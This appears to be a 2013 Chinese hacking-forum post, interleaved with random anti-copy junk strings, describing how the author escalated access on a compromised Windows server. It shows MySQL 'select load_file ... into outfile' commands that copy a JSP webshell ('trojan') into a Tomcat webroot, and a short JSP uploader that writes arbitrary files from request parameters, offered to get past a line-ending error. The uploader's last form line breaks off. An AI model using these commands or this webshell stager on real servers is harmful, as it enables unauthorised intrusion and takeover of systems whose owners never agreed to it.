中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
5 o6 e% G% o" w: H; Q" j! c3 _4 ^
9 U- `7 H3 @4 q \
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
6 u. h7 T% a( s7 g7 I4 ^( @
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
7 G* ^7 r5 G, v. c' I
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
( {. u; X, \8 z) R9 ?7 i
1 show variables like '%plugin%';
/ z$ |% h v6 p' }6 O
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
0 @$ H. S4 q! K) a, _; `
创建自定义函数似乎被拦截,一直失败。
# x) L. @, v# |
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
; m {5 s2 \% E, G2 I
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
& d! M% q: n! @- r& {2 l* T" z; f8 o
用mysql执行语句:
- C' V! ?/ s4 J& W% n3 f
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
4 r8 a8 p4 g3 |4 s4 r5 u; g
2 复制代码
/ {" i P1 R! D7 j; n) x
后成功。
|6 p- V" v( }! p
但是访问后得到如下提示:
4 g7 O/ H6 V4 e. P& ]; x) e- j' P
500页面
% l- S% n" @$ ]5 T" K
`- S( x( Y% g7 }
2 g! Y6 V7 Q: x' k9 r
明显是MySQL的Win下版本自动添加转义符\n\r了
6 @$ u) C5 T+ J' Z Z
这样导致程序运行的悲剧。
8 ?$ B4 Y; L( j. }. ~8 ]
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
& o% _4 O3 K' D- D$ A3 [# B
最后弄了这么个小脚本:
8 R0 n& A3 \' @) z
01 <%@ page language="java" pageEncoding="gbk"%>
( F3 U" _+ G( f
02 <jsp:directive.page import="java.io.File"/>
- o! Z- @1 @$ R( S8 j
03 <jsp:directive.page import="java.io.OutputStream"/>
9 b8 ?4 M0 O- j$ e m
04 <jsp:directive.page import="java.io.FileOutputStream"/>
; A; Z( `5 _8 L" [6 b+ j- |) u
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
3 O( s+ o9 x: n( \
06 error
www.2cto.com
7 _+ x! o8 ?+ [2 n& @8 Y6 R
07 <%}}if(i==0){%>
* i- s. Q3 E, J# O8 J" U
08 ok
% i% `# f+ U9 z/ r- V% U
09 <%}%>
4 e2 D1 p! b+ U, j
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
8 K6 x% Q$ M5 _! {! i% {: U' p6 v2 k
就可以避免转义符让JSP的马儿运行500错误了。
$ s4 n/ f4 f3 Y4 k/ c. a% Z; V* n' t6 ?: ^
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2